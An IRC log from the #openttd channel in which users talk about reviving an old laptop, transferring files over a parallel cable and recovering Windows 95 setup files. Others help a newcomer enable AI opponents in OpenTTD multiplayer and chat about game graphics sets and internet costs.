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00:00:15 <smithj> bummer 00:00:23 <Eddi|zuHause3> ah... dead bios battery = no HDD entry 00:00:28 <Eddi|zuHause3> i can fix that ;) 00:00:29 <CIA-1> OpenTTD: rubidium * r9308 /branches/noai/bin/ai/regression/ (main.nut regression.nut regression.txt run.sh): 00:00:29 <CIA-1> OpenTTD: [NoAI] -Change: make the regression scripts run without any user intervention; not manual enabling and disabling of AIs 00:00:29 <CIA-1> OpenTTD: [NoAI] -Update: the regression outcome because the AI isn't chosen random anymore. 00:03:58 <Eddi|zuHause3> wow, i did not touch that thing in over 5 years 00:04:12 <smithj> wow! 00:04:20 <Eddi|zuHause3> 486SX33 ... those were the times :p 00:04:49 <smithj> my first laptop was 386 w/ 60MB HDD and 8MB RAM 00:04:59 <Eddi|zuHause3> i remember how i installed win95 from the CD, without CD drive ;) 00:05:14 <smithj> :) 00:05:55 <Eddi|zuHause3> i had two 3.5" diskettes, formatted to 1.7MB, copying the files back and forth ;) 00:06:22 <smithj> oh the lost art of disk swapping :P 00:06:56 <Eddi|zuHause3> oh, and i could not get it to run with 4MB RAM, until i installed the memory manager from novell dos :) 00:07:21 <Eddi|zuHause3> then, when i first tried the cable connection, it said it needed at least 8MB 00:07:26 <smithj> it probably still runs faster than Vista 00:08:08 <Eddi|zuHause3> the laptop is fine... only the battery is dead, so i can't really use it... 00:08:30 <Eddi|zuHause3> i think it has a 9" LCD (B/W) display 00:08:52 *** KritiK [Maxim@ppp85-141-226-4.pppoe.mtu-net.ru] has quit [Quit: Leaving] 00:09:14 <smithj> you could use it as some sort of router or something...? 00:09:23 <Eddi|zuHause3> and an enormous 200MB HDD 00:09:33 <Eddi|zuHause3> router of what? 00:09:40 <Eddi|zuHause3> i don't have any ethernet cards 00:09:42 <smithj> 200MB, how will you fill that? ;) 00:09:56 <Eddi|zuHause3> like i said, i installed win95 :p 00:09:56 *** Sacro|Laptop [~Ben@87.102.80.216] has joined #openttd 00:10:04 <smithj> doesnt it have some PCMCIA sockets..? 00:10:13 <Eddi|zuHause3> yes, but i don't have cards... 00:10:57 <Eddi|zuHause3> other than that, i have WordPerfect (6.1), Sim City 200, Civ 2 and TT (Original) on it 00:11:14 <smithj> some great old games you have there 00:11:36 *** BFM [~chatzilla@CPE-138-130-145-137.nsw.bigpond.net.au] has quit [Quit: Chatzilla 0.9.77 [Firefox 1.5.0.10/2007021601]] 00:11:48 <Eddi|zuHause3> i even compressed the HD, i think 00:12:00 *** BFM [~chatzilla@CPE-138-130-145-137.nsw.bigpond.net.au] has joined #openttd 00:12:27 <smithj> oh those were the days 00:12:56 <Eddi|zuHause3> hm, it says i have 560MB on the drive... 00:14:16 <Eddi|zuHause3> back on topic... parallel cable... 00:15:48 <smithj> from my understanding, you should be able to make a transfer using terminal and minicom 00:15:56 <smithj> or laplink if you have a copy 00:16:18 <Eddi|zuHause3> i have laplink on the laptop, the linux side is my problem 00:16:53 <smithj> i'd suggest minicom and kermit, but it has been so long since i used kermit 00:17:45 <Sacro|Laptop> Eddi|zuHause3: ftp? 00:17:59 <smithj> I'm not sure that would work 00:18:08 <smithj> unless you gave the PLIP a try 00:18:18 <Eddi|zuHause3> i'd say the easiest part would be to provide SAMBA services... 00:19:18 <smithj> can this be done over parallel...? 00:19:49 <CIA-1> OpenTTD: truelight * r9309 /branches/noai/src/ai/ai_factory.hpp: [NoAI] -Fix: stdup the AI name, as else it can do weird things from SQ (glx) 00:20:17 <Eddi|zuHause3> it could be done with the windows program, i am sure it is possible under linux as well, just not sure if anyone ever made the effort to program (or document) that 00:21:01 *** GhostBear [~b@1305.DialWorld.Pool.Kuzbass.Net] has joined #openttd 00:21:06 <GhostBear> y0! :D 00:21:09 <GhostBear> Who alive? :D 00:23:25 <GhostBear> I know serious bug with what i can make money FROM NOTHING ^^ 00:23:33 <GhostBear> It was even in original TT :X 00:23:47 <GhostBear> Now i'm gonna rock the world :> 00:26:25 *** Vikthor [~Vikthor@212.24.150.226] has quit [Quit: Leaving.] 00:26:28 <Sacro|Laptop> oh? 00:26:31 <Rubidium> and what would that be? 00:26:42 <GhostBear> hehe 00:26:57 <GhostBear> One Regal Bus gaining 17k for ONE arrive ;) 00:27:02 <Sacro|Laptop> hmmm 00:27:04 <GhostBear> Image what Aircrafts do :D 00:27:12 <GhostBear> 1-2 millions for one arrive :D 00:27:19 *** smithj [smithj@dyn-62-56-62-57.dslaccess.co.uk] has quit [Ping timeout: 480 seconds] 00:27:24 <Sacro|Laptop> deleting the source station? 00:28:01 *** GhostBear [~b@1305.DialWorld.Pool.Kuzbass.Net] has quit [Quit: ...:::Clonk for ever:::... Cult of clonk _] 00:29:26 *** antichaos [~antichaos@host86-137-191-156.range86-137.btcentralplus.com] has left #openttd [] 00:31:50 *** ChrisM87 [~ChrisM@p54ac4bfa.dip.t-dialin.net] has quit [Remote host closed the connection] 00:43:26 *** weasel [weasel@weasel.noc.oftc.net] has left #openttd [] 00:46:22 *** helb_ [~helb@84.244.90.159] has joined #openttd 00:46:23 *** helb [~helb@84.244.90.159] has quit [Read error: Connection reset by peer] 00:46:43 *** helb_ is now known as helb 00:53:06 *** CIA-1 [cia@cia.navi.cx] has quit [Ping timeout: 480 seconds] 01:02:04 *** DaleStan [~Dale@74-140-44-235.dhcp.insightbb.com] has joined #openttd 01:16:36 *** CIA-2 [cia@cia.navi.cx] has joined #openttd 01:23:26 *** Osai^2 [~Osai@pD9EB7DB7.dip.t-dialin.net] has joined #openttd 01:29:58 *** Osai^zZz [~Osai@pd9eb5893.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 01:31:36 <Eddi|zuHause3> this is cool... i have now found PLIP for DOS on the net, and now i need to copy that to the laptop :o 01:31:54 <Eddi|zuHause3> "Wenn der Topf aber nu ein Loch hat" :p 01:32:22 <Eddi|zuHause3> i guess i should just look for a diskette ;) 01:42:33 *** setrodox_ [~setrodox@83-65-235-123.dynamic.xdsl-line.inode.at] has quit [Quit: Hapiness ;D] 02:00:11 <Eddi|zuHause3> hm, my floppy drive could be broken, it says "mount: /dev/fd0 is not a valid block device" 02:01:17 <Sacro|Laptop> lolman: im home if you hadnt noticed 02:01:28 <Sacro|Laptop> Eddi|zuHause3: is there anything in it? 02:02:25 <Smoovious> is the disk formatted? 02:03:15 <Eddi|zuHause3> yes, all disks i tried worked in the other drive 02:03:27 <Sacro|Laptop> hmm 02:03:30 <Sacro|Laptop> drive borked then 02:05:01 <Smoovious> probably needs a head-cleaning disk run through it if you hardly ever used it even before all the shelf-time 02:05:42 <Eddi|zuHause3> i never used the disk drive since i bought this PC 02:08:09 * Smoovious nods. 02:08:23 <Smoovious> heads have probably accumulated gunk then 02:13:45 <Eddi|zuHause3> that never happened tome before ;) 02:13:53 <Smoovious> and? 02:14:46 <Eddi|zuHause3> (imagine scene 'boy and girl alone in a room' :p) 02:20:20 <Sacro|Laptop> Eddi|zuHause3: imagine? i got the mpeg 02:21:04 <Digitalfox_Home> Sacro|Laptop: Lol mpeg 02:24:11 <Digitalfox_Home> Anyone here form manchester united? 02:24:23 <Digitalfox_Home> *from 02:24:43 <Sacro|Laptop> i doubt it 02:25:28 <Eddi|zuHause3> very interesting, this looks like some kind of linux boot diskette, but i have no idea where it comes from... 02:26:17 <Smoovious> someone's linux installation would be my first guess... 02:29:27 <Eddi|zuHause3> yeah, but nobody but me ever installed a linux 02:29:49 <Eddi|zuHause3> and it's from 2004 02:30:58 *** Eddi|zuHause2 [~johekr@p54B75DA8.dip.t-dialin.net] has joined #openttd 02:31:21 <Eddi|zuHause2> having the disk drive downstairs really sucks, if you have to go back and forth :p 02:32:20 <Smoovious> its a laptop isn't it? take it with you 02:32:42 <Digitalfox_Home> How nice would be, if there were less newgrf set's projects, and more newgrf set's finished, authors should first finished every set they start before starting another project and another and another, etc.. Then all Openttd and patch comunity would enjoy some great set's that are actually finished and not months if not years in development :| 02:33:07 *** ammler [~ammler@adsl-89-217-34-98.adslplus.ch] has quit [Remote host closed the connection] 02:33:50 <Digitalfox_Home> in grafics section of path in tt forums there are so many projects and actually just a couple almost finished or finished :\ 02:34:23 <Eddi|zuHause2> if it only was that easy :p 02:36:19 <Digitalfox_Home> Eddi|zuHause2, the problem i see is that, authors start one project, them they lose interest, and begin another, then someone invites them to another project and another set abandoned, grafics section is full of this :\ I apreciate there work, but would be much nice if they only work on one or to at the time :| 02:37:25 <Digitalfox_Home> And so we have a lot of specifications set's with gracfis done, but no coding or any grf.. 02:37:36 <Digitalfox_Home> *grafics 02:37:52 *** Eddi|zuHause3 [~johekr@p54b76e7b.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 02:39:16 <Digitalfox_Home> Í like Purno he is a great guy, but he is always posting new graphics but no set becames reality ( or almost none )... :\ 02:44:43 <Sacro|Laptop> Digitalfox_Home: graphics 02:45:05 <Digitalfox_Home> Sacro|Laptop: yeah :) 02:45:07 <Smoovious> grafix 02:45:18 <Sacro|Laptop> Smoovious: graphics 02:45:25 <Smoovious> grfx 02:45:28 <Digitalfox_Home> So grafix or graphics? 02:45:46 <Smoovious> personal taste... graphics is the correct form 02:45:54 <Sacro|Laptop> gfx is the most common shortening 02:46:00 <Smoovious> the rest are more personal style 02:46:24 <Digitalfox_Home> ok will start using graphics and gfx :) 02:46:47 <Smoovious> the rest are equally wrong, so it doesn't matter which wrong way you use :) 02:49:14 <Eddi|zuHause2> hm... now we have a real problem... "Insert Disk 'Windows 95 Diskette 18'" 02:49:36 <Smoovious> what file is it asking for? 02:49:57 <Digitalfox_Home> I don't remember, but how many Diskettes windows 95 was? 02:50:11 <Eddi|zuHause2> something like 27 02:50:20 <Smoovious> what file is it asking for? 02:50:32 <Digitalfox_Home> 27.... God bless the Cd and DVD 02:51:04 <Eddi|zuHause2> i don't know... i only used 2 diskettes 02:51:26 <Smoovious> so it didn't throw up another window beneath it trying to copy a file, and then throw Insert Disk on top of it? 02:51:59 <Eddi|zuHause2> the question is, which ones are formatted to 1.7MB 02:52:14 <Smoovious> hopefully neither 02:52:18 <Smoovious> 1.44 is the standard size 02:52:21 <Eddi|zuHause2> i have no program to reformat them 02:52:38 <Eddi|zuHause2> and the win95 .cabs are 1.7MB 02:52:47 * Smoovious nods. 02:54:34 <Smoovious> so it won't let you cancel past them, and choose to look for the file in a different location? 02:55:19 <Eddi|zuHause2> it used to do that on the second try, i am not there yet... 02:56:02 <Eddi|zuHause2> "capacity 1.744.384 Bytes", i think i found one ;) 02:56:26 <Smoovious> well, those use a proprietary format to make the disks 02:56:27 <Eddi|zuHause2> next problem, win95 cd 02:56:36 <Smoovious> want a .torrent for one? 02:57:08 <Eddi|zuHause2> i used VGACopy386 back then 02:57:17 <Eddi|zuHause2> that must be 15 years ago :p 03:01:24 <Eddi|zuHause2> i know i've seen the CD somewhere... damn 03:02:54 *** lolman [~john@cpc3-leds2-0-0-cust55.leed.cable.ntl.com] has quit [Ping timeout: 480 seconds] 03:10:03 <Digitalfox_Home> Any good wireless routers review site? 03:11:46 *** lolman [~john@cpc3-leds2-0-0-cust55.leed.cable.ntl.com] has joined #openttd 03:12:26 <Eddi|zuHause2> damn, i found the XP cd, and the ME cd, but not the 95 CD... maybe tomorrow 03:12:39 <Smoovious> want a .torrent for one? 03:13:08 <Eddi|zuHause2> no, i have more important things to devote my bandwidth to :p 03:13:21 * Smoovious shrugs. 03:18:24 <Eddi|zuHause2> oh, and i found a WfW 3.11 CD :) 03:19:01 <Sacro|Laptop> cd? nice 03:19:11 <Eddi|zuHause2> PS: the file i'm missing is "msodisup.vxd" 03:19:28 <Eddi|zuHause2> (in win95_19.cab) 03:20:08 <Smoovious> hang on 03:20:58 <Eddi|zuHause2> and "odihlp.exe", but i don't think that is essential ;) 03:21:07 <Smoovious> ok 03:21:57 <Eddi|zuHause2> but i should really go to bed now... 03:22:35 <Smoovious> extracting them now 03:23:46 <Smoovious> did it say what cab the exe was in? 03:30:46 <Smoovious> there ya go 03:44:45 *** Digitalfox_Home [~chatzilla@bl4-211-152.dsl.telepac.pt] has quit [Quit: Time for Sleeping] 03:53:35 *** raimar2 [~hawk@p5489FAF0.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 04:03:54 *** raimar2 [~hawk@p5489C95E.dip.t-dialin.net] has joined #openttd 04:10:09 *** Sacro|Laptop [~Ben@87.102.80.216] has quit [Quit: Leaving] 04:19:10 *** glx [glx@bny93-6-82-245-156-124.fbx.proxad.net] has quit [Quit: bye] 04:33:55 *** Digitalfox [~chatzilla@bl4-211-152.dsl.telepac.pt] has joined #openttd 04:35:36 *** GhostBear [~b@1305.DialWorld.Pool.kuzbass.net] has joined #openttd 04:35:39 <GhostBear> Hi there 04:35:46 <GhostBear> Please answer is somebody alive! :) 04:36:42 <GhostBear> I have question!! :D 04:36:56 <GhostBear> Please say something if somebody alive ^^ 04:39:34 <Digitalfox> I'm alive :) 04:39:40 <GhostBear> nice ^^ 04:39:45 <GhostBear> Hello! :D 04:39:49 <Digitalfox> Hi:) 04:39:52 <Digitalfox> :) 04:40:03 <GhostBear> How can i play in multiplayer game with computer players? :> 04:40:20 <Digitalfox> For what i know, no!! 04:40:28 <GhostBear> o-O 04:40:31 <GhostBear> What do you meant? 04:40:45 <Digitalfox> But AI is being worked on right noe.. 04:41:01 <Digitalfox> And you will have costumized AI.. 04:41:10 <GhostBear> Brbrbrbrbrbr >.< 04:41:14 <GhostBear> @_@ 04:41:18 <GhostBear> What do you mean? 04:41:32 <Digitalfox> Well you can play in multiplayer with the other human players.. 04:41:37 <GhostBear> Ye 04:41:40 <GhostBear> With only one :( 04:41:47 <GhostBear> And it bocome boring after an hour 04:41:51 <Digitalfox> No with 8 players 04:42:08 <GhostBear> I have no ability for internet play :( 04:42:25 <GhostBear> Or have no big local network :C 04:42:52 <Digitalfox> Wait, you can't play on a Internet Openttd Server? 04:43:01 <Digitalfox> Or you don't want? 04:43:09 <GhostBear> I theoretically can 04:43:17 <GhostBear> But i'm paying for Megabites 04:43:18 <GhostBear> I mean 04:43:23 <GhostBear> I'm from Russia and bla bla 04:43:27 <GhostBear> So internet here sux 04:43:31 <GhostBear> And costs alot :( 04:43:31 <Digitalfox> ok i got the point 04:43:59 <GhostBear> And ping is terrible and i only can play with my friend :/ 04:44:03 <GhostBear> though lan 04:44:08 <Digitalfox> So what you want is to have a game with a local friend and AI players for making it for fun 04:44:10 <Smoovious> GhostBear... um... 04:44:14 <GhostBear> ye 04:44:26 <Smoovious> why do you want to be in a multiplayer game, if you can't do internet play? 04:44:38 <GhostBear> [11:43:22] <GhostBear> I'm from Russia and bla bla 04:44:39 <GhostBear> [11:43:26] <GhostBear> So internet here sux 04:44:39 <GhostBear> [11:43:30] <GhostBear> And costs alot :( 04:45:02 <Smoovious> just play a normal game, go into the difficulty settings menu, set # of players to 7... go into patches menu, under competitors, and enable the AI 04:45:05 <Digitalfox> Smoovious: He wants to play in a LAN with another friend and have some AI players 04:45:17 <Smoovious> oh 04:45:25 <Smoovious> same instructions, but start a LAN game instead 04:45:33 <GhostBear> Playing only with friend boring. After a hour there lots of money and no troubles :( 04:45:41 <GhostBear> yes 04:45:51 <GhostBear> I setted all things in "Configure" 04:46:05 <GhostBear> 7 comps 04:46:11 <GhostBear> Immedeately 04:46:14 <GhostBear> and so on =\ 04:46:17 <Smoovious> did you enable the AI players in the Patch settings? 04:46:23 <Smoovious> well, set to 6 comps 04:46:27 <GhostBear> Patch? :o 04:46:30 <Smoovious> so you leave 1 slot for your friend 04:46:35 <Digitalfox> But GhostBear can you play in lan with you friend, and the problem is you can't enable AI players? 04:46:43 <Smoovious> yeah... right below the difficulty settings menu item? 04:46:46 <GhostBear> Yes it is 04:48:01 * GhostBear remembers how he was shocked when known what there is remake of his favourite game in internet ^^ 04:48:20 <Smoovious> did you find the patch settings yet? 04:48:32 <GhostBear> Pathes 04:48:36 <GhostBear> Competitors 04:48:37 <Digitalfox> I don't use multiplayer, so i'm not the right person to help you, but Smoovious seems to know what he is talking about :) 04:48:41 <GhostBear> "Enable AI" 04:48:52 <Smoovious> yeah, I use the AI's in multiplayer often 04:49:09 <Smoovious> like to have 1 or 2 just to keep generating road vehicles for me to blow up :) 04:49:10 <GhostBear> It says bla bla AI in beta version and only ride fkking buses :( 04:49:11 <Smoovious> yes, that one... 04:49:11 <Digitalfox> GhostBear: Good luck.. 04:49:18 * Digitalfox goes to bed 04:49:38 <Smoovious> that's ok... turn off the advanced AI, to go back to the old AI... it doesn't play as well, but you'll get more types of routes 04:50:30 * GhostBear glad what it will works so much ^^ 04:50:45 <Digitalfox> GhostBear: Don't forget to thank Smoovious after everything is working ;) 04:50:51 <Smoovious> a small group is working on a different AI system 04:50:54 <Smoovious> naw, don't thank me 04:50:56 <Smoovious> I only take money 04:51:05 <Smoovious> thank the coders 04:51:17 <Digitalfox> GhostBear: Please send me money and i will pay Smoovious.. 04:51:23 <GhostBear> lool 04:51:29 <Smoovious> yeah, what he said 04:51:40 <GhostBear> Mh... Still no AIs >,> 04:51:50 * Digitalfox gets the money and disappears 04:52:02 <Smoovious> GhostBear... be patient... they'll come out once a route is found 04:52:09 <GhostBear> huh? 04:52:11 <Digitalfox> bye people :) 04:52:11 <GhostBear> rly? :o 04:52:15 <GhostBear> Bye Bye! 04:52:21 <Smoovious> it checks random routes while the game is going, and once it finds one to build, they'll appear 04:52:23 <Smoovious> wave 04:53:04 <GhostBear> nize 04:53:43 <GhostBear> I do not understand why nobody want to make diagonal railroad drag'n'drop able o.O 04:54:22 *** Osai^2 [~Osai@pD9EB7DB7.dip.t-dialin.net] has quit [Quit: Osai^2] 04:54:35 <Smoovious> they are 04:54:47 <Smoovious> use the auto-track tool... the one that looks like a rail crossing 04:55:04 <Smoovious> you can drag and drop straight track in any direction with it 04:56:39 <GhostBear> :o 04:56:49 <GhostBear> Wow! xD 04:56:51 <GhostBear> Thx! ^^ 04:57:25 <Smoovious> always good to keep checking the wiki... and re-read stuff you think you already read before 04:57:38 <GhostBear> Question ¹2: When i'm paying town (Attract citize... bla bla bla) my reputation in town are going up? 04:58:40 <GhostBear> Or just there becomes more passangers? :o 04:58:50 <Smoovious> sorry, on that I'm not exactly sure what each of the individual effects are... I know you have to plant trees to bring up your rating to mediocre... but that's as far as you can bring it up that way 04:59:26 <Smoovious> (btw, that was question #3) 04:59:38 <GhostBear> It will be now %) 05:00:06 <GhostBear> When train is longer then station sometimes he stays very long at station with state: Loading/Unloading and doing nothing 05:00:43 <GhostBear> Then "Train is Lost" message appears it doing it's deals and just then starting moving :/ 05:01:48 * GhostBear seeing: still not AI :/ 05:04:08 <Smoovious> that's #4 05:04:43 <Smoovious> a train longer than the station, loads/unloads slower than if the whole thing fits in the station... just make the station longer 05:05:04 <Smoovious> as for the train is lost messages, that is a known bug that is already being addressed 05:05:18 <Smoovious> unless it really is lost 05:05:46 <GhostBear> And money cheat bug still not fixed %( 05:06:25 <Smoovious> that will probably be taken care of with something else 05:06:30 <Smoovious> also a known issue 05:06:54 <GhostBear> But... Why it loading longer? 05:07:00 <GhostBear> What the matters of this? 05:07:04 <GhostBear> "Realistic"? 05:07:07 <GhostBear> Or what? 05:07:30 <Smoovious> it is loading longer because the train is too long to fit in the station... 05:07:38 <GhostBear> -.- 05:07:40 <GhostBear> And what? 05:07:52 <GhostBear> What matter of this? 05:08:02 <Smoovious> yeah, more realistic, but the same behavior happened in the original TTD too 05:08:10 <GhostBear> o-O 05:08:13 <GhostBear> :o 05:08:14 <Smoovious> we just didn't notice it as much cuz the trains weren't so long 05:08:41 <Smoovious> look in your patches under competitors... you have Enable new AI turned off, and Allow AI's in multiplayer, turned on? 05:09:07 <GhostBear> "AI's in multiplayer" ON 05:09:13 <GhostBear> "Enable new AI" ON 05:09:34 <GhostBear> I got only AI 05:09:35 <Smoovious> if you want the AI to also make trains and airplanes, turn "enable new AI" off... 05:09:37 <GhostBear> It does nothing 05:09:50 <GhostBear> And new AIs will come more? 05:09:59 <Smoovious> give it time... it takes time for the AI's to find a route to build 05:10:29 <Smoovious> they should 05:10:33 <Smoovious> in time 05:11:15 <Smoovious> just cuz you have them starting immediately in the difficulty settings, doesn't mean they'll all start immediately,.. just that they'll start looking for routes... the other AI's will start up in time 05:11:30 <Smoovious> the difficulty setting, is just to set the minimum amount of time between new AI's coming out 05:12:12 <GhostBear> mh 05:12:12 <GhostBear> k 05:12:27 <GhostBear> But, if i will turn OFF "Enable new AI" they will still coming? 05:12:29 <GhostBear> Or what? 05:13:18 <Smoovious> no 05:13:37 <Smoovious> if you turn off "Enable new AI"... you just turn off the new AI... it'll use the old AI instead 05:13:46 <GhostBear> ah 05:13:47 <GhostBear> k 05:13:52 <Smoovious> there are 2 AI's in 0.5.0 05:14:01 <GhostBear> i see 05:14:25 <GhostBear> But before i waited long and not got anyone with "Enable new AI" turned OFF before game start :o 05:14:27 <Smoovious> there is a group of people working on yet another AI subsystem... probably take them a while, but from the snippets I've seen so far in their commit messages, it should be pretty good, and flexible 05:14:35 <GhostBear> I see why they doing nothing =\ It is 1935 =\ 05:14:39 * Smoovious sighs. 05:15:34 <Smoovious> Enable new AI... doesn't mean you won't get new computer played companies... it means you won't use the newer AI system, the one that only has road vehicles... you'll use the older AI system... the one that isn't as good, but has all of the vehicle types 05:16:15 <Smoovious> (but keep the AI ships disabled... ships will drag the game down depending on the pathfinding you're using... I'm not sure which is wich) 05:16:19 <Smoovious> +h 05:17:00 <GhostBear> [12:15:33] <Smoovious> Enable new AI... doesn't mean you won't get new computer played companies... it means you won't use the newer AI system, the one that only has road vehicles... you'll use the older AI system... the one that isn't as good, but has all of the vehicle types 05:17:06 *** ThePizzaKing [~jeff@c211-28-155-87.eburwd2.vic.optusnet.com.au] has joined #openttd 05:17:21 <GhostBear> Last game i NOT enabled it and not got any AIs =\ 05:17:28 <GhostBear> But "AI's in multiplayer" was ON 05:17:43 <GhostBear> But now i started with both ON 05:17:48 <GhostBear> And AI apeears 05:17:49 <Smoovious> AI in multiplayer has to be on for AI's to come out in multiplayer 05:18:01 <GhostBear> It was ON always :\ 05:18:10 <GhostBear> Fkk 05:18:11 <GhostBear> Damn 05:18:14 <GhostBear> Forget then :P 05:18:16 <Smoovious> dunno what to tell you then... I always got AI's 05:18:48 <Smoovious> try turning it off for a few game-days, and back on again 05:18:50 *** roboman [~Leo@c211-30-67-220.carlnfd4.nsw.optusnet.com.au] has joined #openttd 05:19:41 <GhostBear> okay :P 05:19:46 <GhostBear> Thanks for help! ^^ 05:20:28 <Smoovious> k 05:20:47 <GhostBear> Well... I thinking atm should i stay on channel 05:21:30 <GhostBear> Because i'm already participiating on 3 servers and ~30 :O 05:21:35 <GhostBear> ~30 channels :P 05:29:41 *** GhostBear [~b@1305.DialWorld.Pool.kuzbass.net] has quit [Read error: Connection reset by peer] 05:57:58 *** GhostBear [~b@1305.DialWorld.Pool.Kuzbass.Net] has joined #openttd 05:58:00 <GhostBear> :> 05:58:03 <GhostBear> I'm back ^^ 06:01:28 *** BFM [~chatzilla@CPE-138-130-145-137.nsw.bigpond.net.au] has quit [Quit: Chatzilla 0.9.77 [Firefox 1.5.0.10/2007021601]] 06:09:47 * GhostBear listening >Red Hot Chili Peppers - Californication< 06:17:04 *** imaginner [~imaginner@aclh70.neoplus.adsl.tpnet.pl] has quit [Ping timeout: 480 seconds] 06:29:06 *** Zuu [~leif@c-0c3c71d5.025-58-6e6b702.cust.bredbandsbolaget.se] has joined #openttd 06:46:49 *** lolman [~john@cpc3-leds2-0-0-cust55.leed.cable.ntl.com] has quit [Ping timeout: 480 seconds] 06:47:10 *** lolman [~john@cpc3-leds2-0-0-cust55.leed.cable.ntl.com] has joined #openttd 06:52:07 *** HMage [~HMage@85.21.179.41] has quit [Read error: Connection reset by peer] 06:58:39 *** GhostBear [~b@1305.DialWorld.Pool.Kuzbass.Net] has quit [Ping timeout: 480 seconds] 07:01:11 *** mikl [~mikl@0x5551931e.adsl.cybercity.dk] has quit [Quit: In the end, all that matters is your relation with God...] 07:03:41 *** mikl [~mikl@0x5551931e.adsl.cybercity.dk] has joined #openttd 07:15:50 *** GhostBear [~b@1305.DialWorld.Pool.Kuzbass.Net] has joined #openttd 07:15:50 *** lolman [~john@cpc3-leds2-0-0-cust55.leed.cable.ntl.com] has quit [Read error: Connection reset by peer] 07:15:53 <GhostBear> ^^ 07:15:54 *** Zuu [~leif@c-0c3c71d5.025-58-6e6b702.cust.bredbandsbolaget.se] has quit [Ping timeout: 480 seconds] 07:17:45 <GhostBear> Damn! :D OpenTTD rocks! ^^ 07:17:52 <GhostBear> Even my mother(!!!) playing it! :D 07:22:09 <Ailure> lol 07:22:20 <Ailure> Well that's a good sign :P 07:25:15 <peter1138> wait until we put the violence, swearing and pornography into it 07:25:28 <GhostBear> lol 07:27:33 <GhostBear> Before it she maxiammly played Solitair and Minesweeper =\ And this shitty Zuma =X 07:28:30 <peter1138> maxiammly? 07:30:02 <GhostBear> I mean what this was games she played mostly 07:32:46 *** XeryusTC [~irc@cc480157-b.sneek1.fr.home.nl] has joined #openttd 07:35:27 <GhostBear> http://www.ii4.ru/images/807250lol_xD.png 07:35:32 <GhostBear> Colors 1 and 2 are equal :D 07:37:03 <peter1138> gradients, feh 07:37:16 <GhostBear> :> 07:37:39 *** maad [~emade@83.15.80.18] has quit [Read error: Connection reset by peer] 07:45:38 *** |2rB [~Twofish@195.204.107.4] has quit [Ping timeout: 480 seconds] 07:46:52 *** TinoM [~Tino@i5387E2B7.versanet.de] has joined #openttd 08:05:47 *** maddy [~maddy@84.4.235.143] has joined #openttd 08:15:38 *** PandaMojo [~chatzilla@ip72-197-231-130.sd.sd.cox.net] has quit [Quit: Chatzilla 0.9.74 [Firefox 1.5.0.10/2007021601]] 08:28:44 <GhostBear> OpenTTD forever! \o/ 08:29:10 <GhostBear> I'm dreaming to play online ^^ 08:32:59 <Ailure> Online gameplay is the main reason I prefer openTTD over TTDpatch :P 08:33:18 <Ailure> Though I wish some limits weren't there << 08:33:24 <Ailure> such as the eight company one I keep hitting 08:34:14 <Ailure> the player limit is fine though ironically as the players on my server tends to not play at the same time 08:34:37 *** TinoM| [~Tino@i5387E2B7.versanet.de] has joined #openttd 08:34:51 *** DaleStan_ [~Dale@74-140-44-235.dhcp.insightbb.com] has joined #openttd 08:35:20 *** DebolazY [~root@office.nsn.no] has joined #openttd 08:35:22 <GhostBear> After all i'm still dream to play online :> 08:35:38 <GhostBear> I wanna try my skills against other players ^^ 08:35:46 <GhostBear> I'm big veteran in TTD :> 08:36:01 <Ailure> ah 08:36:07 <Ailure> never played online before then? 08:36:30 <Sionide> heh, it's a whole new game once you find out how other people play it 08:37:01 <Ailure> There's severeal styles yeah 08:37:06 <Ailure> There's the player going for realism 08:37:17 <Ailure> and the one who always play for max profit 08:37:25 <Ailure> and people somewhat inbetween, like me. >_> 08:37:34 <Sionide> same, i'm more inbetween i guess 08:37:42 <Ailure> I tend to go for profitting stuff, but I don't make it too unrealistic. :P 08:38:07 <Ailure> So I tend to avoid ruthless terraforming 08:38:33 <GhostBear> Mmmm... Now i want to play online even more! 08:38:40 <Sionide> do it then 08:38:42 <GhostBear> But i'm not allowed ;'( 08:38:49 <GhostBear> Traffic costs alot :( 08:39:07 <GhostBear> And 'm already overused month limit and will pay alot at 25th March :0 08:39:10 <Ailure> what are the traffic costs? 08:39:25 <Ailure> openTTD isn't much of a high bandwidth game <_< 08:39:27 <Sionide> yet you're on ~30 IRC channels...?! 08:39:29 *** kdr_ [materi@h-85-24-203-79.NA.cust.bahnhof.se] has joined #openttd 08:39:39 <GhostBear> Yes i'm have 2 mIRC's open 08:40:00 <Sionide> get a better ISP 08:40:00 <Ailure> eh 08:40:03 <GhostBear> 4 servers (including this) on first mIRC and 1 server on other mIRC 08:40:06 <Ailure> I dare to say 08:40:13 <Ailure> that IRC protocol 08:40:17 <Ailure> or rather 08:40:20 <Ailure> your mIRC clients 08:40:24 <Sionide> Ailure, if we both flood loads into the channel, GhostBear will have to pay for it.. heheh 08:40:27 <Ailure> waste more bandwidth than a isngle game would 08:40:38 <GhostBear> mh... 08:40:53 <Ailure> My internet connection is totally free 08:40:55 <Ailure> ironically 08:40:58 <GhostBear> In a fact 6 mb per day if almost not opening sites(except mail) 08:41:00 <Ailure> 10 mbit both directions 08:41:11 <Ailure> then I live in a student complex 08:41:12 <GhostBear> But... I have one server what i can turn off 08:41:19 <Ailure> So I lose it as soon I get out of college D: 08:41:24 <GhostBear> Really, better clean auto-join list :> 08:41:32 <Sionide> Ailure, had that last year.. lucky shit, now i'm living off campus, got my own broadband 08:41:51 *** Netsplit cation.oftc.net <-> arion.oftc.net quits: CIA-2, DaleStan, TinoM, DebolazX, boekabart_, kdr 08:41:51 *** DaleStan_ is now known as DaleStan 08:41:53 <GhostBear> Haha, you know what speed i got year ago(till got this DSL)? 08:41:55 <GhostBear> Split ^^ 08:42:09 <GhostBear> 3kb/sec and 30roubles(~1 euro) for hour 08:42:31 <GhostBear> Hello from Sibiria! \o/ 08:42:50 <GhostBear> Well, i'm gonna fuck off from PC now :P 08:42:58 *** GhostBear is now known as GhostBear[Off] 08:43:12 <Sionide> umm.. why not close your mIRC to save bandwidth costs?? :/ 08:44:49 *** Netsplit over, joins: boekabart_, CIA-2 08:46:35 *** maad [~emade@82.160.115.202] has joined #openttd 08:49:28 <Ailure> mIRC isn't that dangerous to have up 08:49:31 <Ailure> just not 30 channels 08:49:35 <Ailure> so have just a select few :P 08:51:21 *** stillunknown [~stillunkn@212-182-130-7.dsl.ip.tiscali.nl] has quit [Quit: Words get written, words get twisted, old meanings change in the drift of time.] 08:55:16 *** ammler [~ammler@adsl-89-217-34-98.adslplus.ch] has joined #openttd 08:56:53 *** stillunknown 